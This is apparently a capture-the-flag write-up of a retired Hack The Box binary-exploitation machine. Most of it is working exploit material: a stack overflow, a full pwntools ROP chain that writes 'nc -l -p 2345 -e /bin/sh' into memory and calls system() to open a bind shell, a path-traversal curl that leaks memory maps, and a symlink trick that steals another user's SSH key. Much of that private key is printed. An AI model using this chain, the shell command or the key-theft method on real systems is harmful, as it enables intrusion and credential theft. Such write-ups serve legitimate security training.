[pid  8180] [   0] [00007ffff7d6555e] read(4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 529) = 529 > /usr/lib/x86_64-linux-gnu/libc-2.33.so(__read+0xe) [0xee55e] >/ctfs/htb/retired/binex/activate_license(activate_license+0x94) [0x13d1] > unexpected_backtracing_error [0x4343434343434343][pid  8180] [   1] [00005555555555c0] --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} --- > /ctfs/htb/retired/binex/activate_license(activate_license+0x283) [0x15c0] > unexpected_backtracing_error [0x4343434343434343][pid  8180] [   1] [????????????????] +++ killed by SIGSEGV +++
  • As you can see we got a SIGSEGV (aka segmentation fault) error meaning we successfully controlled the RIP regester. So are previous calculation of 520 bytes was correct as at byte number 521 we start overwritting the RIP register.
  • Lets see what happens when we try the system() with no argument with strace following the programs flow of execution. Since we have a local exploit dev enviroment we can just use GDB to find out where the system() functions address in memory by attaching GDB to the process PID for activate_license
$ gdb -q -p 7818   pwndbg> disass systemDump of assembler code for function __libc_system:  0x00007ffff7cc0860 <+0>:     test   rdi,rdi  0x00007ffff7cc0863 <+3>:     je     0x7ffff7cc0870 <__libc_system+16>  0x00007ffff7cc0865 <+5>:     jmp    0x7ffff7cc02c0 <do_system>  0x00007ffff7cc086a <+10>:    nop    WORD PTR [rax+rax*1+0x0]  0x00007ffff7cc0870 <+16>:    sub    rsp,0x8  0x00007ffff7cc0874 <+20>:    lea    rdi,[rip+0x14f00f]        # 0x7ffff7e0f88a  0x00007ffff7cc087b <+27>:    call   0x7ffff7cc02c0 <do_system>  0x00007ffff7cc0880 <+32>:    test   eax,eax  0x00007ffff7cc0882 <+34>:    sete   al  0x00007ffff7cc0885 <+37>:    add    rsp,0x8  0x00007ffff7cc0889 <+41>:    movzx  eax,al  0x00007ffff7cc088c <+44>:    ret    
  • Alright the start of system is address 0x00007ffff7cc0860. Lets appened it to our evil file
$ echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x60\x08\xcc\xf7\xff\x7f" > evil_file.txt                                                                                                        
  • Lets see what happens once we go back over to our activate_license binary running on port 1337
[+] accepted client connection from 127.0.0.1:17589[+] reading 526 bytes[+] activated license: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB���sh: 1: p����: not found
  • It worked! But since we did not pass it a command to run the process just terminated. All we need to do now is control the RDI register and write our evil string to memory.
  • Lets use ROPGadget to find our RDI take over.
$ ROPgadget --binary ./activate_license | grep rdi         ......0x000000000000181b : pop rdi ; ret......
  • Let's find our write gadget now for this we are going to attach pwndbg to the active_license PID and use its rop funtion to find what we need with the proper addresses.
  • First lets make it easy for the pop rdi we just found also
pwndbg> rop --grep "pop rdi"warning: target file /proc/7818/cmdline contained unexpected null charactersSaved corefile /tmp/tmpccoesy930x000055555555581b : pop rdi ; ret
  • Now let's get our write gadget
pwndbg> rop --grep "mov dword"0x00007ffff7fca966 : mov dword ptr [rdi], eax ; retpwndbg> rop --grep "mov qword"0x00007ffff7fca965 : mov qword ptr [rdi], rax ; retpwndbg> rop --grep "pop"0x00005555555552ef : pop rbp ; ret0x000055555555581a : pop r15 ; ret0x00007ffff7fcaa2a : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret0x0000555555555814 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x0000555555555819 : pop rsi ; pop r15 ; ret0x00007ffff7fca847 : pop rbx ; pop r12 ; pop rbp ; retpwndbg> rop --grep "mov rax"0x00007ffff7fca716 : mov rax, rdx ; add rax, rsi ; retpwndbg> rop --grep "rsi"0x0000555555555819 : pop rsi ; pop r15 ; retpwndbg> rop --grep "pop rbx"0x00007ffff7fca847 : pop rbx ; pop r12 ; pop rbp ; retpwndbg> rop --grep "mov"0x00007ffff7fca6dc : mov rax, -1 ; retpwndbg> rop --grep "rax"0x00007ffff7fca6ca : shl rdx, 0x20 ; or rax, rdx ; ret0x00007ffff7fca966 : mov dword ptr [rdi], eax ; ret **0x00007ffff7fca6cf : or eax, edx ; ret
  • Okay this is a pretty standard ROPChain we have everything we need now. Let's take a look what our manifiactured stack frame will look like for the write gadget.
1. 0x000055555555581b : pop rdi ; ret     - Pop the write address into the rdi regester    2a. 0x00007ffff7fca6dc : mov rax, -1 ; ret    - RAX now == 0xFFFFFFFFFFFFFFFF2b. 0x0000555555555819 : pop rsi ; pop r15 ; ret    - Pop the value we need in RSI to add with RAX to eaual the string we need     - Pop 0xdeadbeefdeadbeef into r152c. 0x00007ffff7fca719 : add rax, rsi ; ret3. 0x00007ffff7fca965 : mov qword ptr [rdi], rax ; ret    - Write to the address rdi is pointing to
  • Okay so we have to do a little to get what we want but its not to bad. Let's take a look at the evil string we want to write to memory again
$ python3 -c "print(len('nc -l -p 2345 -e /bin/sh'))"24
  • We need to write 24 bytes to memory so we need to call our write gadget 3 times.
  • Lets take our string now and split it up into three parts to see what each value is for the string
1.'nc -l -p'    6e 63 20 2d 6c 20 2d 702.' 2345 -e'    20 32 33 34 35 20 2d 653.' /bin/sh'    20 2f 62 69 6e 2f 73 68
  • What does this mean? How can we go from negitive one inside rax to the three needed string values? Well its quite simple we just put the value inside RSI that well equal the below three values:
0xFFFFFFFFFFFFFFFF = -10xFFFFFFFFFFFFFFFF + y = 0x6e63202d6c202d700xFFFFFFFFFFFFFFFF + y = 0x2032333435202d650xFFFFFFFFFFFFFFFF + y = 0x202f62696e2f7368
  • Now all we have are 3 elementary algrabra problems.
  • The needed values are below:
1.  0x6e63202d6c202d712.  0x2032333435202d663. 0x202f62696e2f7369
  • Lets write a C program to confrim we done everything correctly
#include <stdio.h>int main(){        long signed  neededOne = 0x6e63202d6c202d70;        long signed  neededTwo = 0x2032333435202d65;        long signed  neededThree = 0x202f62696e2f7368;        long signed strOne = -1 +  0x6e63202d6c202d71;        long signed strTwo = -1 + 0x2032333435202d66;        long signed strThree = -1 + 0x202f62696e2f7369;        printf("1st - Needed: %#lx  Calculated: %#lx\n\n", neededOne, strOne);        printf("2nd - Needed: %#lx  Calculated: %#lx\n\n", neededTwo, strTwo);        printf("3rd - Needed: %#lx  Calculated: %#lx\n\n", neededThree, strThree);        return 0;}OUTPUT: 1st - Needed: 0x6e63202d6c202d70  Calculated: 0x6e63202d6c202d702nd - Needed: 0x2032333435202d65  Calculated: 0x2032333435202d653rd - Needed: 0x202f62696e2f7368  Calculated: 0x202f62696e2f7368
  • Awsome now we can devlope our ROPChain further:
First Write:1. 0x000055555555581b : pop rdi ; ret     - Pop the write address into the rdi regester    2a. 0x00007ffff7fca6dc : mov rax, -1 ; ret    - RAX now == 0xFFFFFFFFFFFFFFFF2b. 0x0000555555555819 : pop rsi ; pop r15 ; ret    - Pop 0x6e63202d6c202d71 into rsi    - Pop 0xdeadbeefdeadbeef into r15    2c. 0x00007ffff7fca719 : add rax, rsi ; ret - RAX == 0x6e63202d6c202d703. 0x00007ffff7fca965 : mov qword ptr [rdi], rax ; ret    - Write to the address rdi is pointing to    Second Write:1. 0x000055555555581b : pop rdi ; ret     - Pop the write address into the rdi regester    2a. 0x00007ffff7fca6dc : mov rax, -1 ; ret    - RAX now == 0xFFFFFFFFFFFFFFFF2b. 0x0000555555555819 : pop rsi ; pop r15 ; ret    - Pop 0x2032333435202d66 into rsi    - Pop 0xdeadbeefdeadbeef into r15    2c. 0x00007ffff7fca719 : add rax, rsi ; ret - RAX == 0x2032333435202d653. 0x00007ffff7fca965 : mov qword ptr [rdi], rax ; ret    - Write to the address rdi is pointing to    Third Write:    1. 0x000055555555581b : pop rdi ; ret     - Pop the write address into the rdi regester    2a. 0x00007ffff7fca6dc : mov rax, -1 ; ret    - RAX now == 0xFFFFFFFFFFFFFFFF2b. 0x0000555555555819 : pop rsi ; pop r15 ; ret    - Pop 0x202f62696e2f7369 into rsi    - Pop 0xdeadbeefdeadbeef into r15    2c. 0x00007ffff7fca719 : add rax, rsi ; ret - RAX == 0x202f62696e2f73683. 0x00007ffff7fca965 : mov qword ptr [rdi], rax ; ret    - Write to the address rdi is pointing to
  • Now all we need is a place in memory to write our evil string to.
$ objdump -M intel -d -j .data  ./activate_license ./activate_license:     file format elf64-x86-64Disassembly of section .data:0000000000004000 <__data_start>:        ...
  • Okay we have an offset of 0x004000 for the start of our data section. Let's take a look again with gdb
pwndbg> info proc mapprocess 7818Mapped address spaces:          Start Addr           End Addr       Size     Offset objfile      0x555555554000     0x555555555000     0x1000        0x0 /ctfs/htb/retired/binex/activate_license
  • 0x555555554000 + 004000 = 0x555555558000
  • Let's take a look at this address now
pwndbg> x/32x  0x555555558000 0x555555558000: 0x00000000      0x00000000      0x55558008      0x000055550x555555558010 <completed.0>:   0x00000000      0x00000000      0x00000000      0x000000000x555555558020: 0x00000000      0x00000000      0x00000000      0x000000000x555555558030: 0x00000000      0x00000000      0x00000000      0x000000000x555555558040: 0x00000000      0x00000000      0x00000000      0x000000000x555555558050: 0x00000000      0x00000000      0x00000000      0x000000000x555555558060: 0x00000000      0x00000000      0x00000000      0x000000000x555555558070: 0x00000000      0x00000000      0x00000000      0x00000000
  • Alright we can not starting writing at address 0x555555558000 since we would overwirte a value thats predefined. No worries we can start writting our evil string right after at address 0x555555558010
  • So now we have everything to write our ROPChain!
from pwn import *writeAddressOne = p64(0x555555558010)writeAddressTwo = p64(0x555555558010 + 8)writeAddressThree = p64(0x555555558010 + 16)firstRsiVal = p64(0x6f63202d6c202d70, endian='big')secondRsiVal = p64(0x2132333435202d65, endian='big')thirdRsiVal = p64(0x212f62696e2f7368, endian='big')systemAddress = p64(0x00007ffff7cc0860)deadbeef = p64(0xdeadbeefdeadbeef)popRdi = p64(0x000055555555581b) # pop rdi ; ret raxMinusOne = p64(0x00007ffff7fca6dc) # mov rax, -1 ; retpopRsiR15 = p64(0x0000555555555819) # pop rsi ; pop r15 ; retaddRaxRsi = p64(0x00007ffff7fca719) # add rax, rsi ; retwriteGadget = p64(0x00007ffff7fca965) # mov qword ptr [rdi], rax ; retpadding = 520p = 'A' * paddingp += popRdi             #  0x000055555555581bp += writeAddressOne    #  0x555555558010p += raxMinusOne        #  0x00007ffff7fca6dcp += popRsiR15          #  0x0000555555555819p += firstRsiVal        #  0x6e63202d6c202d71p += deadbeef           #  0xdeadbeefdeadbeefp += addRaxRsi          #  0x00007ffff7fca719p += writeGadget        #  0x00007ffff7fca965p += popRdi             #  0x000055555555581bp += writeAddressTwo    #  0x555555558018p += raxMinusOne        #  0x00007ffff7fca6dcp += popRsiR15          #  0x0000555555555819p += secondRsiVal       #  0x2032333435202d66p += deadbeef           #  0xdeadbeefdeadbeefp += addRaxRsi          #  0x00007ffff7fca719p += writeGadget        #  0x00007ffff7fca965p += popRdi             #  0x000055555555581bp += writeAddressThree  #  0x555555558020p += raxMinusOne        #  0x00007ffff7fca6dcp += popRsiR15          #  0x0000555555555819p += thirdRsiVal        #  0x202f62696e2f7369p += deadbeef           #  0xdeadbeefdeadbeefp += addRaxRsi          #  0x00007ffff7fca719p += writeGadget        #  0x00007ffff7fca965p += popRdi             #  0x000055555555581bp += writeAddressOne    #  0x555555558010p += systemAddress      #  0x00007ffff7cc0860print(p)# nc -l -p 2345 -e /bin/sh
  • After some trial and error with the values we needed to input into RSI we got our evil string into rdi let's put a break point on system() by attaching gdb to our activate_license process and see if we did everything correctly
$ gdb -q -p 16023pwndbg> b systemBreakpoint 2 at 0x7ffff7cc0860: file ../sysdeps/posix/system.c, line 203.pwndbg> cContinuing.Thread 2.1 "activate_licens" hit Breakpoint 2, __libc_system (line=0x555555558010 <completed> "nc -l -p 2345 -e /bin/sh") at ../sysdeps/posix/system.c:203203     ../sysdeps/posix/system.c: No such file or directory.LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────── RAX  0x68732f6e69622f20 (' /bin/sh') RBX  0x5555555557c0 (__libc_csu_init) ◂— push   r15 RCX  0x0 RDX  0x0*RDI  0x555555558010 (completed) ◂— 'nc -l -p 2345 -e /bin/sh' RSI  0x68732f6e69622f21 ('!/bin/sh') R8   0xfffffffffffffff7 R9   0x7ffff7e090c0 (step3a_jumps) ◂— 0x0 R10  0x7ffff7e08fc0 (step3b_jumps) ◂— 0x0 R11  0x246 R12  0x555555555220 (_start) ◂— xor    ebp, ebp R13  0x0 R14  0x0 R15  0xdeadbeefdeadbeef RBP  0x4141414141414141 ('AAAAAAAA')*RSP  0x7fffffffe000 ◂— 0xa /* '\n' */*RIP  0x7ffff7cc0860 (system) ◂— test   rdi, rdi─────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────── ► 0x7ffff7cc0860 <system>          test   rdi, rdi   0x7ffff7cc0863 <system+3>        je     system+16                <system+16>    0x7ffff7cc0865 <system+5>        jmp    do_system                <do_system>   0x7ffff7cc02c0 <do_system>       push   r13   0x7ffff7cc02c2 <do_system+2>     push   r12   0x7ffff7cc02c4 <do_system+4>     push   rbp   0x7ffff7cc02c5 <do_system+5>     push   rbx   0x7ffff7cc02c6 <do_system+6>     mov    rbx, rdi   0x7ffff7cc02c9 <do_system+9>     sub    rsp, 0x378   0x7ffff7cc02d0 <do_system+16>    mov    rax, qword ptr fs:[0x28]   0x7ffff7cc02d9 <do_system+25>    mov    qword ptr [rsp + 0x368], rax──────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────00:0000│ rsp 0x7fffffffe000 ◂— 0xa /* '\n' */01:0008│     0x7fffffffe008 ◂— 0x002:0010│     0x7fffffffe010 ◂— 0x003:0018│     0x7fffffffe018 ◂— 0x204:0020│     0x7fffffffe020 —▸ 0x7fffffffe088 —▸ 0x7fffffffe3c4 ◂— './activate_license'05:0028│     0x7fffffffe028 —▸ 0x7fffffffe0a0 —▸ 0x7fffffffe3dc ◂— 'COLORFGBG=15;0'06:0030│     0x7fffffffe030 —▸ 0x7ffff7ffe220 —▸ 0x555555554000 ◂— 0x10102464c457f07:0038│     0x7fffffffe038 ◂— 0x0────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────── ► f 0   0x7ffff7cc0860 system   f 1              0xa   f 2              0x0─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> 
  • Awsome everything got set up correctly and we are about to open a port on 2345 with /bin/sh attached to it. Let's run the program outside of gdb and see what our activate_license output looks like.
$ ./activate_license 1337                                                                                   [+] starting server listening on port 1337[+] listening ...[+] accepted client connection from 127.0.0.1:30858[+] reading 737 bytes[+] activated license: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUUUU$ lsof -i:2345COMMAND   PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAMEnc      17831 fundy    3u  IPv4 318350      0t0  TCP *:2345 (LISTEN)$ ps aux | grep /bin/shanon      17831  0.0  0.0   2520  1972 pts/2    S+   13:54   0:00 nc -l -p 2345 -e /bin/sh$ nc -vk localhost 2345 localhost [127.0.0.1] 2345 (?) openlsactivate_licenseactivate_license.phpevil_file.txtlibc-2.31.solicense.sqlitemainmain.cncpwn_activate_license.pywhoamianon
  • Great we have succesfully exploited the binary on our local host now all we have to do is get the proper addresses to our gadgets without the help of gdb!
from pwn import *# Stays the same as the local exploitfirstRsiVal = p64(0x6f63202d6c202d70, endian='big')secondRsiVal = p64(0x2132333435202d65, endian='big')thirdRsiVal = p64(0x212f62696e2f7368, endian='big')deadbeef = p64(0xdeadbeefdeadbeef)#Change for remote exploitwriteAddressOne = p64() writeAddressTwo = p64()writeAddressThree = p64()systemAddress = p64()popRdi = p64() # pop rdi ; ret raxMinusOne = p64() # mov rax, -1 ; retpopRsiR15 = p64() # pop rsi ; pop r15 ; retaddRaxRsi = p64() # add rax, rsi ; retwriteGadget = p64() # mov qword ptr [rdi], rax ; retpadding = 520p = 'A' * paddingp += popRdi            p += writeAddressOne   p += raxMinusOne       p += popRsiR15         p += firstRsiVal        p += deadbeef           p += addRaxRsi         p += writeGadget       p += popRdi       p += writeAddressTwo   p += raxMinusOne        p += popRsiR15          p += secondRsiVal       p += deadbeef          p += addRaxRsi          p += writeGadget       p += popRdi           p += writeAddressThree  p += raxMinusOne        p += popRsiR15         p += thirdRsiVal       p += deadbeef          p += addRaxRsi         p += writeGadget       p += popRdi             p += writeAddressOne   p += systemAddress     print(p)
  • First will change the address where to write data too
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/410/maps --output maps  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100  4593    0  4593    0     0  28809      0 --:--:-- --:--:-- --:--:-- 28706$ cat maps                                                                                 562c10f04000-562c10f05000 r--p 00000000 08:01 2408                       /usr/bin/activate_license$ objdump -M intel -d -j .data ./activate_license ./activate_license:     file format elf64-x86-64Disassembly of section .data:0000000000004000 <__data_start>:
  • Alright active_licencse1337 .data segment starts at 0x562c10f04000 and .data has a 0x004000 ofset and don't for get we must go a little further into .data before we can write by 0x10 so our first remote write address is
# 0x562c10f04000 + 0x004000 + 0x10 = 0x562C10F08010writeAddressOne = p64(0x562C10F08010) writeAddressTwo = p64(0x562C10F08010 + 8)writeAddressThree = p64(0x562C10F08010 + 16)
  • Next lets get our remote system() function address
$ objdump -M intel -d ./libc-2.31.so | grep system               0000000000048e50 <__libc_system@@GLIBC_PRIVATE>:   48e53:       74 0b                   je     48e60 <__libc_system@@GLIBC_PRIVATE+0x10>   $ cat maps    .........7f668b1bf000-7f668b1e4000 r--p 00000000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so.........
# start of libc in memory = 0x7f668b1bf000# system() offset = 0x0048e50# 0x7f668b1bf000 + 0x0048e50 = 0x7F668B207E50systemAddress = p64(0x7F668B207E50)
  • Now lastly all our write gadget chain gadgets
$ ROPgadget --binary  activate_license | grep "pop rdi"0x000000000000181b : pop rdi ; ret$ ROPgadget --binary  libc-2.31.so | grep "mov rax, -1 ; ret" 0x000000000003bb8e : mov rax, -1 ; ret$ ROPgadget --binary  activate_license | grep "pop rsi ; pop r15 ; ret"0x0000000000001819 : pop rsi ; pop r15 ; ret$ ROPgadget --binary  libc-2.31.so | grep "add rax, rsi ; ret"   0x000000000009841c : add rax, rsi ; ret$ ROPgadget --binary  libc-2.31.so | grep "mov qword ptr \[rdi\], rax" | grep ret0x0000000000050d7a : mov qword ptr [rdi], rax ; mov rax, rdi ; ret
# start of libc in memory = 0x7f668b1bf000 # start of activate_license = 0x562c10f04000# local = 0x00007ffff7cc0860# remote = 0x7f668b1bf000 + 0xsystemAddress = p64()# local = 0x000055555555581b# remote = 0x00181b + 0x562c10f04000popRdi = p64(0x00181b + 0x562c10f04000) # pop rdi ; ret # local = 0x00007ffff7fca6dc# remote = 0x7f668b1bf000 + 0x003bb8eraxMinusOne = p64(0x7f668b1bf000 + 0x003bb8e) # mov rax, -1 ; ret# local = 0x0000555555555819# remote = 0x000055555555581b + 0x001819popRsiR15 = p64(0x000055555555581b + 0x001819) # pop rsi ; pop r15 ; ret# local = 0x00007ffff7fca719# remote = 0x7f668b1bf000 + 0x009841caddRaxRsi = p64(0x7f668b1bf000 + 0x009841c) # add rax, rsi ; ret# local = 0x00007ffff7fca965# remote = 0x7f668b1bf000 + 0x00050d7awriteGadget = p64(0x7f668b1bf000 + 0x00050d7a) # mov qword ptr [rdi], rax ; mov rax, rdi ; ret
  • Okay so eveything matches up with remote and local besides the write gadget thats okay though since we are over writing RAX with -1 anyways to the new ' mov rax, rdi' wont effect our outcome. Below is our new pwn tool script
from pwn import *# Stays the same as the local exploitfirstRsiVal = p64(0x6f63202d6c202d70, endian='big')secondRsiVal = p64(0x2132333435202d65, endian='big')thirdRsiVal = p64(0x212f62696e2f7368, endian='big')deadbeef = p64(0xdeadbeefdeadbeef)#Change for remote exploit# 0x7f668b1bf000 + 0x0048e50 = 0x7F668B207E50systemAddress = p64(0x7f668b1bf000 + 0x0048e50)writeAddressOne = p64(0x562C10F08010) writeAddressTwo = p64(0x562C10F08010 + 8)writeAddressThree = p64(0x562C10F08010 + 16)# start of libc in memory = 0x7f668b1bf000 # start of activate_license = 0x562c10f04000# local = 0x000055555555581b# remote = 0x00181b + 0x562c10f04000popRdi = p64(0x00181b + 0x562c10f04000) # pop rdi ; ret # local = 0x00007ffff7fca6dc# remote = 0x7f668b1bf000 + 0x003bb8eraxMinusOne = p64(0x7f668b1bf000 + 0x003bb8e) # mov rax, -1 ; ret# local = 0x0000555555555819# remote = 0x562c10f04000 + 0x001819popRsiR15 = p64(0x0000562c10f04000 + 0x001819) # pop rsi ; pop r15 ; ret# local = 0x00007ffff7fca719# remote = 0x7f668b1bf000 + 0x009841caddRaxRsi = p64(0x7f668b1bf000 + 0x009841c) # add rax, rsi ; ret# local = 0x00007ffff7fca965# remote = 0x7f668b1bf000 + 0x00050d7awriteGadget = p64(0x7f668b1bf000 + 0x00050d7a) # mov qword ptr [rdi], rax ; mov rax, rdi ; retpadding = 520p = 'A' * paddingp += popRdi            p += writeAddressOne   p += raxMinusOne       p += popRsiR15         p += firstRsiVal        p += deadbeef           p += addRaxRsi         p += writeGadget       p += popRdi       p += writeAddressTwo   p += raxMinusOne        p += popRsiR15          p += secondRsiVal       p += deadbeef          p += addRaxRsi          p += writeGadget       p += popRdi           p += writeAddressThree  p += raxMinusOne        p += popRsiR15         p += thirdRsiVal       p += deadbeef          p += addRaxRsi         p += writeGadget       p += popRdi             p += writeAddressOne   p += systemAddress     print(p)
  • Let's create our new evil file and upload it to the remote host and see if we did everything correctly
$ python2.7 pwn_activate_license_remote.py > evil_file.txt

c1f33d567c85d41aef1a1c7bd751c94a.png

  • Let's checkout netcat now to see if our hard work paid off!
$ nc -vv 10.129.227.96 234510.129.227.96: inverse host lookup failed: Unknown host(UNKNOWN) [10.129.227.96] 2345 (?) openwhoamiwww-data
  • Alright we got a foothold!!!

Privilege Escalation

  • First upgrade the shell to bash
export TERM=xtermSHELL=/bin/bash script -q /dev/null
  • Then ls in www-data home dir we can see back ups being made by dev
ls -alhtotal 1.5Mdrwxrwsrwx  3 www-data www-data 4.0K Jul 30 22:55 .drwxr-xr-x 12 root     root     4.0K Mar 11 14:36 ..-rw-r--r--  1 dev      www-data 494K Jul 30 22:53 2022-07-30_22-53-00-html.zip-rw-r--r--  1 dev      www-data 494K Jul 30 22:54 2022-07-30_22-54-00-html.zip-rw-r--r--  1 dev      www-data 494K Jul 30 22:55 2022-07-30_22-55-00-html.zipdrwxrwsrwx  5 www-data www-data 4.0K Mar 11 14:36 html-rw-r--r--  1 www-data www-data  12K Mar  9 00:57 license.sqlite
  • Since we can see dev is in the www-data group when they run the back-up command lets try to link dev's SSH key inside the /var/www/html folder
ln -s /home/dev/.ssh/id_rsa /var/www/html/id_rsa
  • Okay lets wait a couple of mins and unzip the newest backup. Awsome we got the devs private ssh key!
-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAYEA58qqrW05/urHKCqCgcIPhGka60Y+nQcngHS6IvG44gcb3w0HN/yfdb6Nzw5wfLeLD4uDt8k9M7RPgkdnIRwdNFxleNHuHWmK0j7OOQ0rUsrs8LudOdkHGu0qQrAnCIpK3Gb74zh6pe03zHVcZyLR2tXWmoXqRF8gE2hsry/AECZRSfaYRhac6lASRZD74bQbxOeSuNyMfCsbJ/xKvlupiMKcbD+7RHysCSM6xkgBoJ+rraSpYTiXs/vihkp6pN2jMRa/eeADRNWoyqU7LVsKwhZ//AxKjJSvDSnaUeIDaKZ6e4XYsOKTXX3Trh7u9Bjv2YFD8DRDEmDI5d+t6Imws8370a/5Z2z7C7jfCpzDATek0NIqLi3jEmI/8vLO9xIckjaNVoqw/BVKNqjd03KKK2Y0c5DRArFmwkJdmbGxwzyTV8oQZdjw0mVBFjbdQ0iiQBEFGNP9/zpT//ewaosZYROE4FHXNEIq23Z3SxUNyUeLqkI8Mlf0McBmvc/ozGR5AAAFgKXd9Tyl3fU8AAAAB3NzaC1yc2EAAAGBAOfKqq1tOf7qxygqgoHCD4RpGutGPp0HJ4B0uiLxuOIHG98NBzf8n3W+jc8OcHy3iw+Lg7fJPTO0T4JHZyEcHTRcZXjR7h1pitI+zjkNK1LK7PC7nTnZBxrtKkKwJwiKStxm++M4eqXtN8x1XGci0drV1pqF6kRfIBNobK8vwBAmUUn2mEYWnOpQEkWQ++G0G8TnkrjcjHwrGyf8Sr5bqYjCnGw/u0R8rAkjOsZIAaCfq62kqWE4l7P74oZKeqTdozEWv3ngA0TVqMqlOy1bCsIWf/wMSoyUrw0p2lHiA2imenuF2LDik119064e7vQY79mBQ/A0QxJgyOXfreiJsLPN+9Gv+Wds+wu43wqcwwE3pNDSKi4t4xJiP/LyzvcSHJI2jVaKsPwVSjao3dNyiitmNHOQ0QKxZsJCXZmxscM8k1fKEGXY8NJlQRY23UNIokARBRjT/f86U//3sGqLGWEThOBR1zRCKtt2d0sVDclHi6pCPDJX9DHAZr3P6MxkeQAAAAMBAAEAAAGAEOqioDubgvZBiLXphmzSUxiUpV0gDrfJ8z8RoqE/nAdmylWaFET0olRA5z6niQKgPIczGsOuGsrrDpgFd84kd4DSywmPNkhQoF2DEXjbk5RJzJv0spcbRKTQc8OFZcMqCYHemkux79ArRVm/X6uT40O+ANMLMOg8YA47+GEkxEj3n81Geb8GvrcPTlJxf5x0dl9sPt+hxSIkPjvUfKYV7mw9nEzebvYmXBhdHsF8lOtyTR76WaUWtUUJ2EExSD0Am3DQMq4sgLT9tb+rlU7DoHtoSPX6CfdInH9ciRnLG1kVbDaEaaNT2anONVOswKJWVYgUN83cCCPyRzQJLPC6u7uSdhXU9sGuN34m5wQYp3wFiRnIdKgTcnI8IoVRX0rnTtBUWeiduhdi2XbYh5OFFjh77tWCi9eTR7wopwUGR0u5sbDZYGPlOWNk22+NcwqQMIq0f4TBegkOUNV85gyEkIwifjgvfdw5FJ4zhoVbbevgo7IVz3gIYfDjktTF+n9dAAAAwDyIzLbm4JWNgNhrc7Ey8wnDEUAQFrtdWMS/UyZY8lpwj0uVw8wdXiV8rFFPZezpyio9nrxybImQU+QgCBdqQSavk4OJetk29fk7X7TWmKw5dwLuEDbJZo8X/MozmhgOR9nhMrBXR2g/yJuCfKA0rcKby+3TSbl/uCk8hIPUDT+BNYyR5yBggI7+DKQBvHa8eTdvqGRnJ9jUnP6tfBKCKW97HIfCpt5tzoKiJ7/eAuGEjjHN28GP1u4iVoD0udnUHQAAAMEA+RceJG5scCzciPd97zsHHTpQNhKQs13qfgQ9UGbyCit+eWzc/bplfm5ljfw+cFntZULdkhiFCIosHPLxmYe8r0FZUzTqOeDCVK9AZjn8uy8VaFCWb4jvB+oZ3d+pjFKXIVWpl0ulnpOOoHHIoM7ghudXb0vFL8+Qp